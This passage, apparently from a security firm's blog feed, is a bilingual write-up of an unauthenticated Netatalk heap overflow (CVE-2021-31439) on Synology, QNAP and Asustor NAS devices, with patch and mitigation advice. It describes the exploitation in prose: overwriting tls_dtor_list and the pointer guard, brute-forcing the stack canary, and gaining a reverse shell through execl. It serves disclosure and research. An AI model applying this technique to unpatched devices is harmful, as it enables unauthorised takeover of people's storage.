pointer guard 的值才能達成</li> <li><strong>第三個則是改 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> ,不須 leak 比較符合我們現在的狀況</strong></li> </ul> <h4 id="overwrite-tls_dtor_list">Overwrite <code class="language-plaintext highlighter-rouge">tls_dtor_list</code></h4> <p>這技巧是由 project zero 在 2014 所提出的<a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html">方法</a>,覆蓋 TLS 上的 tls_dtor_list 來做利用,藉由覆蓋該變數可在程式結束時控制程式流程。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">dtor_list</span> <span class="p">{</span> <span class="n">dtor_func</span> <span class="n">func</span><span class="p">;</span> <span class="kt">void</span> <span class="o">*</span><span class="n">obj</span><span class="p">;</span> <span class="k">struct</span> <span class="n">link_map</span> <span class="o">*</span><span class="n">map</span><span class="p">;</span> <span class="k">struct</span> <span class="n">dtor_list</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>這邊就稍微提一下這個方法,<code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 是個 <code class="language-plaintext highlighter-rouge">dtor_list</code> object 的 singly linked list 主要是存放 thread local storage 的 destructor,在 thread 結束時會去看這個 linked list 並去呼叫 destructor function,我們可藉由覆蓋 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 指向我們所構造的 dtor_list。</p> <p><img src="/assets/img/blog/20220328/17.png" alt="" /></p> <p>而當程式結束呼叫 exit() 時,會去呼叫 <code class="language-plaintext highlighter-rouge">call_tls_dtors()</code> ,該 function 會去取 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 中的 object 並去呼叫每個 destructor,此時如果我們可以控制 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 就會去使用我們所構造的 <code class="language-plaintext highlighter-rouge">dtor_list</code> 來呼叫我們指定的函式。</p> <p><img src="/assets/img/blog/20220328/18.png" alt="" /></p> <p>但在新版本和 synology 的 libc 中,dtor_list 的 function pointer 有被 pointer guard 保護,導致正常情況下,我們並不好利用,一樣需要先 leak 出 pointer guard 才能好好控制 rip 到我們想要的位置上。</p> <p>但有趣的是 pointer guard 也會在 TLS 上,他會存在 TLS 中的 tcbhead_t 結構中,如果我們 overflow 夠多,也可以在 overflow <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 的同時,也將 pointer guard 也一併清掉,這樣就可以讓我們不用處理 pointer guard 問題。</p> <p><img src="/assets/img/blog/20220328/19.png" alt="" /></p> <p>先來講講 tcbhead_t 這結構,這個結構主要是 Thread Control Block (TCB),有點類似 Windows 中的 TEB 結構 是 thread 的 descriptor,主要會用來存放 thread 的各種資訊,而在 x86_64 的 Linux 架構的 usermode 下,fs 暫存器會指向這位置,每當我們要存取 thread local variable 時,都會透過 fs 暫存器去 存取,我們可以看到 TCB 結構會有 stack guard 及 pointer guard 等資訊,也就是說當我們在拿 pointer guard 時,也是用 fs 暫存器從這個結構取出的。</p> <p><img src="/assets/img/blog/20220328/20.png" alt="" /></p> <p>我們回頭看一下 TLS 上的結構分佈,可以看到 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 後方就是這個,<code class="language-plaintext highlighter-rouge">tcbhead_t</code> 結構。只要我們 overflow 夠多就可以蓋掉 pointer guard,然而此時會出現另外一個問題。</p> <p><img src="/assets/img/blog/20220328/21.png" alt="" /></p> <p>因為 stack guard 在 pointer guard 前,當我們蓋掉 pointer guard 的同時,也會蓋掉 stack guard。那麼蓋掉 stack guard 會有什麼影響呢?</p> <p><img src="/assets/img/blog/20220328/22.png" alt="" /></p> <p>在我們呼叫 <code class="language-plaintext highlighter-rouge">dsi_stream_receive()</code> 時,因為有開啟 stack guard 保護的關係,會先從 TLS 上,取得 stack guard 放在 stack 上,等到我們呼叫 dsi_stream_read 去 trigger overflow 且蓋掉 pointer guard 及 stack guard 後,在 <code class="language-plaintext highlighter-rouge">dsi_stream_receive()</code> 返回時,會去檢查 stack guard 是否與 TLS 中的相同,但因為這時候的 TLS 的 stack guard 已經被我們蓋掉了,導致檢查不通過而中止程式,就會造成我們無法利用這個技巧來達成 RCE。</p> <h4 id="bypass-stack-guard">Bypass stack guard</h4> <p><img src="/assets/img/blog/20220328/23.png" alt="" /></p> <p>在 netatalk(afpd) 的架構中,事實上每次連線都會 fork 一個新的 process 來 handle 使用者的 request,而 Linux 中的 process 有個特性是 fork 出來的 process,memory address 及 stack gurad 等都會與原先的 parent process 相同,因此我們可以利用 CTF 常見的招式,一個 byte 一個 bytes brute-force 的方式來獲得 stack guard 。</p> <h4 id="brute-force-stack-guard">Brute-force stack guard</h4> <p>基本概念是 在 overflow 之後,我們可以只蓋 TLS 中的 stack guard 最尾端一個 byte ,每次連線都蓋不同的 byte,一旦與 stack guard 不同,就會因為 abort 而中斷連線,我們可依據連線的中斷與否,判斷我們所覆蓋的數值是否與 stack guard 相同。</p> <p><img src="/assets/img/blog/20220328/24.png" alt="" /></p> <p>以上圖來說,我們假設 stack guard 是 <code class="language-plaintext highlighter-rouge">0xdeadbeeffacebc00</code>,由於 stack guard 特性,最低一個 byte 一定會是 0 ,這邊從第二個 byte 蓋起,這邊可以先蓋 00 試看看連線是否被中斷,如果被中斷代表蓋的數值是錯的,接下來我們就測其他數值看看有沒有中斷,依此類推,測到 0xbc 發現沒有中斷,代表第二個 byte 是 0xbc,接下來就繼續蓋第三 byte ,一樣從 0x00 蓋到沒中斷,直到蓋滿 8 bytes 的 stack guard 都沒中斷連線後,我們就可以知道 stack guard 的值是什麼,接下來我們就可以解決 stack guard 問題。</p> <h4 id="construct-the-_dtor_list-to-control-rip">Construct the <code class="language-plaintext highlighter-rouge">_dtor_list</code> to control RIP</h4> <p>在解決 stack guard 問題後,netatalk 已可正常運作,接下來我們需要構造 <code class="language-plaintext highlighter-rouge">_dtor_list</code> 結構並結束程式來控制 RIP,在當時的 synology 的 afpd 中並沒有開啟 PIE,我們可以在 afpd 的 data 段中,構造 <code class="language-plaintext highlighter-rouge">_dtor_list</code>。</p> <p><img src="/assets/img/blog/20220328/25.png" alt="" /></p> <p>剛好在使用 dhx2 method 的 login 功能中,會將我們要登入的 username 複製到 global 的 buffer 中,所以我們可以將這結構跟著 username 一起寫入固定的已知位置。</p> <p><img src="/assets/img/blog/20220328/26.png" alt="" /></p> <p>在一切都構造完成後,我們這邊可以觸發正常功能的 <code class="language-plaintext highlighter-rouge">DSICloseSession</code> 即可觸發 <code class="language-plaintext highlighter-rouge">exit()</code></p> <h4 id="tls_dtor_list-in-synology"><code class="language-plaintext highlighter-rouge">tls_dtor_list</code> in Synology</h4> <p><img src="/assets/img/blog/20220328/27.png" alt="" /></p> <p>在 reverse 後,發現 synology 的 glibc 中,會使用 <code class="language-plaintext highlighter-rouge">__tls_get_addr()</code> 來取得 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code>,並非直接存取 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> 這個全域變數,而這函式的取得方式則會從前述 <code class="language-plaintext highlighter-rouge">tcbhead_t</code> 中先取 div 欄位後,再取得其中的 <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> ,因此我們需要連同 <code class="language-plaintext highlighter-rouge">tcb-&gt;div</code> 一起構造在固定位置,另外一點是 Synology 的 afpd 中並沒有 system 可用,但事實上有 execl 可以使用,只是參數稍微複雜一點而已。</p> <p><img src="/assets/img/blog/20220328/28.png" alt="" /></p> <p>最後我們構造的結構如上圖所示,我們將 tcb 及 dtor_list 結構都構造在 username buffer 中,觸發 exit() 後,就會去執行 execl 並取得反連 shell。</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/ocZkWuSCr4Y" frameborder="0"> </iframe></div></center> <h3 id="remark">Remark</h3> <p>在一般的 Netatalk 中,是會啟用 PIE ,不太容易在已知位置構造 <code class="language-plaintext highlighter-rouge">_dtor_list</code>,實際上也可以用類似方法 leak 出 libc 位置,依舊是 exploitable,該漏洞不只影響 Synology 也會影響到大部分有使用 Netatalk 的設備。</p> <h3 id="other-vendor">Other vendor</h3> <p>我們測試了許多家有使用到 Netatalk 的廠商,發現不少家有存在類似的問題,部分是 unexploitable 但也有部分是 exploitable。我們這邊實測了 QNAP 及 Asustor,皆有成功獲得 shell。</p> <h4 id="qnap">QNAP</h4> <ul> <li>We tested on TS451 <ul> <li>QTS 4.5.4.1741</li> </ul> </li> <li>Not enable by default</li> <li>Protection <ul> <li><strong>No Stack Guard</strong></li> <li>No PIE</li> </ul> </li> <li>內建 system</li> </ul> <p><img src="/assets/img/blog/20220328/29.png" alt="" /> <img src="/assets/img/blog/20220328/30.png" alt="" /></p> <h4 id="asustor">Asustor</h4> <ul> <li>We tested on AS5202T <ul> <li>ADM 3.5.7.RJR1</li> </ul> </li> <li>Not enable by default</li> <li>Protection <ul> <li><strong>No Stack Guard</strong></li> <li>No PIE</li> </ul> </li> <li>內建 system</li> </ul> <p><img src="/assets/img/blog/20220328/31.png" alt="" /></p> <p>QNAP 及 Asustor 兩家 NAS 都沒有開啟 Stack guard,不需 brute-force 即可獲得反連 shell。</p> <p>這個漏洞在 Synology 尚未修補時,只要 default 裝好就可以利用,<strong>不需任何認證</strong>,而 QNAP 及 Asustor 雖然不是預設開啟,但不少有使用 Mac 的用戶,還是會為了方便把它打開,基本上只要是 NAS 幾乎都會用到 Netatalk,絕大多數的 NAS 都有影響,只要有開啟 Netatalk,攻擊者可以利用這個漏洞打下大部分的 NAS。<strong>你的 NAS 就再也不會是你的 NAS。</strong></p> <p><img src="/assets/img/blog/20220328/32.png" alt="" /></p> <p>我們後來也從 shodan 上發現,其實也有非常多人將 netatalk 開在外網,光在 shodan 上就有 13 萬台機器,其中大部分是 Synology。</p> <h2 id="mitigation">Mitigation</h2> <h3 id="update">Update</h3> <p>目前上述三台皆已修補,請尚未更新的用戶更新到最新</p> <ul> <li>Synology <ul> <li>https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26</li> </ul> </li> <li>QNAP <ul> <li>https://www.qnap.com/en/security-advisory/qsa-21-50</li> </ul> </li> <li>Asustor <ul> <li>https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2</li> </ul> </li> </ul> <p>該漏洞也在近期釋出的 <a href="https://netatalk.sourceforge.io/3.1/ReleaseNotes3.1.13.html">Netatalk 3.1.13</a> 版本中修復,如有使用到 Netatalk 3.1.13 以前版本,也請務必更新。</p> <h3 id="disable-afp">Disable AFP</h3> <ul> <li>沒使用 AFP 時,最好直接關掉或只限制在內網存取。該 project 幾乎已經很少維護,繼續使用風險極高。</li> <li>改用 SMB <strong>相對安全</strong> <ul> <li>如果想要用類似功能,建議可使用 SMB 相對安全不少,但只能說相對安全,不能說絕對沒問題,建議還是將相關服務都開在內網就好,沒用到的能關就關</li> </ul> </li> </ul> <h2 id="summary">Summary</h2> <p>我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!</p> <p>未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。</p> <h2 id="to-be-continue">To be continue</h2> <p>事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就敬請期待 Part II。</p> https://devco.re/blog/2022/03/28/your-NAS-is-not-your-NAS/ https://devco.re/blog/2022/03/28/your-NAS-is-not-your-NAS Mon, 28 Mar 2022 00:00:00 +0800 Your NAS is not your NAS ! <p><a href="/blog/2022/03/28/your-NAS-is-not-your-NAS-en/">English Version</a> <a href="/blog/2022/03/28/your-NAS-is-not-your-NAS/">中文版本</a></p> <p>Two years ago, we found a <a href="https://www.zerodayinitiative.com/advisories/ZDI-21-492/">critical vulnerability</a>, CVE-2021-31439, on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.</p> <p>This research is also presented at <a href="https://hitcon.org/2021/en">HITCON 2021</a>. You can check the slides <a href="https://hitcon.org/2021/agenda/03f06675-261d-4c97-b524-33ef9cc6ccb2/%E4%BD%A0%E7%9A%84%20NAS%20%E4%B8%8D%E6%98%AF%E4%BD%A0%E7%9A%84%20NAS%20!.pdf">here</a>.</p> <h2 id="network-attached-storage">Network Attached Storage</h2> <p>In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.</p> <p><img src="/assets/img/blog/20220328/1.png" alt="" /></p> <h2 id="motivation">Motivation</h2> <h3 id="why-do-we-want-to-research-nas">Why do we want to research NAS?</h3> <h4 id="red-team">Red Team</h4> <p>While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.</p> <h4 id="ransomware">Ransomware</h4> <p>NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.</p> <h4 id="pwn2own-mobile-2020">Pwn2Own Mobile 2020</h4> <p>The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.</p> <h2 id="recon">Recon</h2> <h3 id="environment">Environment</h3> <ul> <li>DS918+</li> <li>DSM 6.2.3-25426</li> </ul> <p>Our test environment is Synology DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.</p> <h3 id="attack-surface">Attack surface</h3> <p><img src="/assets/img/blog/20220328/2.png" alt="" /></p> <p>First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.</p> <p><img src="/assets/img/blog/20220328/3.png" alt="" /></p> <p>In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.</p> <p>We selected a few services for preliminary analysis.</p> <h4 id="dsm-web-interface">DSM Web interface</h4> <p>The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.</p> <h4 id="smb">SMB</h4> <p>The SMB protocol in Synology is based on <a href="https://www.samba.org/">Samba</a>. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is <a href="https://www.samba.org/samba/security/CVE-2017-7494.html">SambaCry</a>. But because more people are reviewing, it is relatively safer than other services.</p> <h4 id="iscsi-manager">iSCSI Manager</h4> <p>It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.</p> <h4 id="netatalk">Netatalk</h4> <p>The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on <a href="http://netatalk.sourceforge.net/">Netatak</a> 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to <a href="https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172">Exploiting an 18 Year Old Bug</a>. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.</p> <p>After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.</p> <h2 id="netatalk-1">Netatalk</h2> <p>Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.</p> <h3 id="netatalk-in-synology">Netatalk in Synology</h3> <p>The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.</p> <p><img src="/assets/img/blog/20220328/4.png" alt="" /></p> <h4 id="dsi">DSI</h4> <p>Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.</p> <p>DSI Packet Header :</p> <p><img src="/assets/img/blog/20220328/5.png" alt="" /></p> <p>The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.</p> <p>AFP over DSI :</p> <p><img src="/assets/img/blog/20220328/6.png" alt="" /></p> <p>The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.</p> <p>In Netatalk implementation, <code class="language-plaintext highlighter-rouge">dsi_block</code> will be used as the packet structure.</p> <p>dsi_block :</p> <p><img src="/assets/img/blog/20220328/7.png" alt="" /></p> <ul> <li>dsi_flag means that the packet is a request or reply</li> <li>dsi_command indicates what our request does <ul> <li>DSICloseSession</li> <li>DSICommand</li> <li>DSIGetStatus</li> <li>DSIOpenSession</li> </ul> </li> <li>dsi_code <ul> <li>Error code</li> <li>For reply</li> </ul> </li> <li>dsi_doff <ul> <li>DSI data offset</li> <li>Using in DSIWrite</li> </ul> </li> <li>dsi_len <ul> <li>The Length of Payload</li> </ul> </li> </ul> <p>DSI : A descriptor of dsi stream</p> <p><img src="/assets/img/blog/20220328/8.png" alt="" /></p> <p>In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as <code class="language-plaintext highlighter-rouge">server_quantum</code> and payload content.</p> <p><img src="/assets/img/blog/20220328/9.png" alt="" /></p> <p>The payload of the packet is stored in the <code class="language-plaintext highlighter-rouge">command</code> buffer in the DSI structure. The buffer size is <code class="language-plaintext highlighter-rouge">server_quantum</code>, and the value is specified in the afp configuration file <code class="language-plaintext highlighter-rouge">afp.conf</code>.</p> <p><img src="/assets/img/blog/20220328/10.png" alt="" /></p> <p>If not specified, it uses the default size(0x100000).</p> <p>With a preliminary understanding, let’s talk about this vulnerability.</p> <h3 id="vulnerability">Vulnerability</h3> <p><img src="/assets/img/blog/20220328/11.png" alt="" /></p> <p>The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is <code class="language-plaintext highlighter-rouge">dsi_stream_receive</code>.</p> <p><img src="/assets/img/blog/20220328/12.png" alt="" /></p> <p>It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the <code class="language-plaintext highlighter-rouge">dsi_len</code> in the dsi header. At the beginning, the size of <code class="language-plaintext highlighter-rouge">dsi_cmdlen</code> is verified.</p> <p><img src="/assets/img/blog/20220328/13.png" alt="" /></p> <p>However, as shown in the picture above, if <code class="language-plaintext highlighter-rouge">dsi_doff</code> is provided by user, <code class="language-plaintext highlighter-rouge">dsi_doff</code> is used as the length. There is no verification here.</p> <p><img src="/assets/img/blog/20220328/14.png" alt="" /></p> <p>The default length of <code class="language-plaintext highlighter-rouge">dsi-&gt;commands</code> is 0x100000(<code class="language-plaintext highlighter-rouge">dsi-&gt;server_quantum</code>), which is a fixed length allocated in <code class="language-plaintext highlighter-rouge">dsi_init</code>, so as long as <code class="language-plaintext highlighter-rouge">dsi-&gt;header.dsi_doff</code> is larger than <code class="language-plaintext highlighter-rouge">dsi-&gt;server_quantum</code>, heap overflow occurs.</p> <h3 id="exploitation">Exploitation</h3> <p>In DSM 6.2.3, <code class="language-plaintext highlighter-rouge">dsi-&gt;commands</code> buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after <code class="language-plaintext highlighter-rouge">dsi_init</code> is as below.</p> <p><img src="/assets/img/blog/20220328/15.png" alt="" /></p> <p>At the below of <code class="language-plaintext highlighter-rouge">dsi-&gt;commands</code> is Thread Local Storage, which is used to store thread local variables of the main thread.</p> <p><img src="/assets/img/blog/20220328/16.png" alt="" /></p> <p>Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?</p> <h4 id="thread-local-storage">Thread-local Storage</h4> <p>Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.</p> <h4 id="target-in-tls">Target in TLS</h4> <p>In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.</p> <ul> <li><code class="language-plaintext highlighter-rouge">main_arena</code> <ul> <li>We can forge main_arena to achieve arbitrary writing, but it’s more complicated</li> </ul> </li> <li><code class="language-plaintext highlighter-rouge">pointer_guard</code> <ul> <li>We can modify the pointer guard to change the function pointer, but it requires a leak.</li> </ul> </li> <li><code class="language-plaintext highlighter-rouge">tls_dtor_list</code> <ul> <li>It’s more suitable for our current situation</li> </ul> </li> </ul> <h4 id="overwrite-tls_dtor_list">Overwrite <code class="language-plaintext highlighter-rouge">tls_dtor_list</code></h4> <p>We can use the <a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html">technique</a> used by project zero in 2014 to overwrite the <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> in the <code class="language-plaintext highlighter-rouge">Thread Local Storage</code>, and then control the RIP in exit().</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">dtor_list</span> <span class="p">{</span> <span class="n">dtor_func</span> <span class="n">func</span><span class="p">;</span> <span class="kt">void</span> <span class="o">*</span><span class="n">obj</span><span class="p">;</span> <span class="k">struct</span> <span class="n">link_map</span> <span class="o">*</span><span class="n">map</span><span class="p">;</span> <span class="k">struct</span> <span class="n">dtor_list</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">tls_dtor_list</code> is a singly linked list of <code class="language-plaintext highlighter-rouge">dtor_list</code> objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> with <code class="language-plaintext highlighter-rouge">dtor_list</code> we forged.</p> <p><img src="/assets/img/blog/20220328/17.png" alt="" /></p> <p>When the process exits, it calls <code class="language-plaintext highlighter-rouge">call_tls_dtors()</code>. This function takes the object in <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> and calls each destructor. At this time, if we can control <code class="language-plaintext highlighter-rouge">tls_dtor_list</code>, it calls the function we specified.</p> <p><img src="/assets/img/blog/20220328/18.png" alt="" /></p> <p>However, in the new version of glibc, the function of <code class="language-plaintext highlighter-rouge">dtor_list</code> is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.</p> <p>But in fact pointer guard would also be placed in <code class="language-plaintext highlighter-rouge">Thread Local Storage</code>.</p> <p><img src="/assets/img/blog/20220328/19.png" alt="" /></p> <p>In the <code class="language-plaintext highlighter-rouge">Thread Local Storage</code>, there is a <code class="language-plaintext highlighter-rouge">tcbhead_t</code> structure below the <code class="language-plaintext highlighter-rouge">tls_dtor_list</code>, which is the thread descriptor of main thread.</p> <p><code class="language-plaintext highlighter-rouge">tcbhead_t</code> structure is used to store various information about the thread such as the <code class="language-plaintext highlighter-rouge">stack_guard</code> and <code class="language-plaintext highlighter-rouge">pointer_guard</code> used by the thread. In x86-64 Linux system, the fs register always points to the <code class="language-plaintext highlighter-rouge">tcbhead_t</code> of the current thread, so the program access thread local storage by using fs register. The memory layout of <code class="language-plaintext highlighter-rouge">Thread local storage</code> is shown as below.</p> <p><img src="/assets/img/blog/20220328/20.png" alt="" /></p> <p>We can use the vulnerability to overwrite not only <code class="language-plaintext highlighter-rouge">tls_dtor_list</code> but also pointer guard in the <code class="language-plaintext highlighter-rouge">tcbhead_t</code>. In this way, we can overwrite it with <code class="language-plaintext highlighter-rouge">NULL</code> to solve the pointer guard problem mentioned earlier.</p> <p><img src="/assets/img/blog/20220328/21.png" alt="" /></p> <p>But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.</p> <p><img src="/assets/img/blog/20220328/22.png" alt="" /></p> <p>Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to <code class="language-plaintext highlighter-rouge">dsi-&gt;command</code>. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in <code class="language-plaintext highlighter-rouge">Thread Local Storage</code>. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.</p> <h4 id="bypass-stack-guard">Bypass stack guard</h4> <p><img src="/assets/img/blog/20220328/23.png" alt="" /></p> <p>In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.</p> <h4 id="brute-force-stack-guard">Brute-force stack guard</h4> <p>We can use the overflow vulnerability to overwrite only the last byte of stack guard on <code class="language-plaintext highlighter-rouge">Thread Local Storage</code> with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.</p> <p><img src="/assets/img/blog/20220328/24.png" alt="" /></p> <p>In the above figure, we assume that the stack guard is <code class="language-plaintext highlighter-rouge">0xdeadbeeffacebc00</code>. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.</p> <p>After we leak the stack guard, we can actually control RIP successfully. Next, we need to forge the structure <code class="language-plaintext highlighter-rouge">_dtor_list</code> to control RIP.</p> <h4 id="construct-the-_dtor_list-to-control-rip">Construct the <code class="language-plaintext highlighter-rouge">_dtor_list</code> to control RIP</h4> <p>In DSM 6.2.3-25426, Because it does not enable PIE, we can forge <code class="language-plaintext highlighter-rouge">_dtor_list</code> on the data section of afpd.</p> <p><img src="/assets/img/blog/20220328/25.png" alt="" /></p> <p>Luckily, when netatalk use <code class="language-plaintext highlighter-rouge">dhx2 login</code> authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct <code class="language-plaintext highlighter-rouge">_dtor_list</code> on the known address.</p> <p><img src="/assets/img/blog/20220328/26.png" alt="" /></p> <p>After everything is constructed, we can trigger the normal function <code class="language-plaintext highlighter-rouge">DSICloseSession</code> to control the RIP.</p> <h4 id="tls_dtor_list-in-synology"><code class="language-plaintext highlighter-rouge">tls_dtor_list</code> in Synology</h4> <p><img src="/assets/img/blog/20220328/27.png" alt="" /></p> <p>But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke <code class="language-plaintext highlighter-rouge">__tls_get_addr</code> to get the variable <code class="language-plaintext highlighter-rouge">tls_dtor_list</code>. The function will take the variable from <code class="language-plaintext highlighter-rouge">tcb-&gt;div</code>. We also need to construct it on a known address.</p> <p>The final structure we forged is as follows</p> <p><img src="/assets/img/blog/20220328/28.png" alt="" /></p> <p>Finally, we control RIP to invoke execl() in afpd to get the reverse shell.</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/ocZkWuSCr4Y" frameborder="0"> </iframe></div></center> <h3 id="remark">Remark</h3> <p>In general Netatalk, PIE protection is enabled by default. It is difficult to construct <code class="language-plaintext highlighter-rouge">_dtor_list</code> in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.</p> <p>This vulnerability not only affects Synology, but also affects some devices use Netatalk.</p> <h3 id="other-vendor">Other vendor</h3> <p>We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.</p> <h4 id="qnap">QNAP</h4> <ul> <li>We tested on TS451 <ul> <li>QTS 4.5.4.1741</li> </ul> </li> <li>Not enable by default</li> <li>Protection <ul> <li><strong>No Stack Guard</strong></li> <li>No PIE</li> </ul> </li> <li>Built-in system function</li> </ul> <p><img src="/assets/img/blog/20220328/29.png" alt="" /> <img src="/assets/img/blog/20220328/30.png" alt="" /></p> <h4 id="asustor">Asustor</h4> <ul> <li>We tested on AS5202T <ul> <li>ADM 3.5.7.RJR1</li> </ul> </li> <li>Not enable by default</li> <li>Protection <ul> <li><strong>No Stack Guard</strong></li> <li>No PIE</li> </ul> </li> <li>Built-in system function</li> </ul> <p><img src="/assets/img/blog/20220328/31.png" alt="" /></p> <p>It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.</p> <p>When Synology has not yet patched this vulnerability, it can be 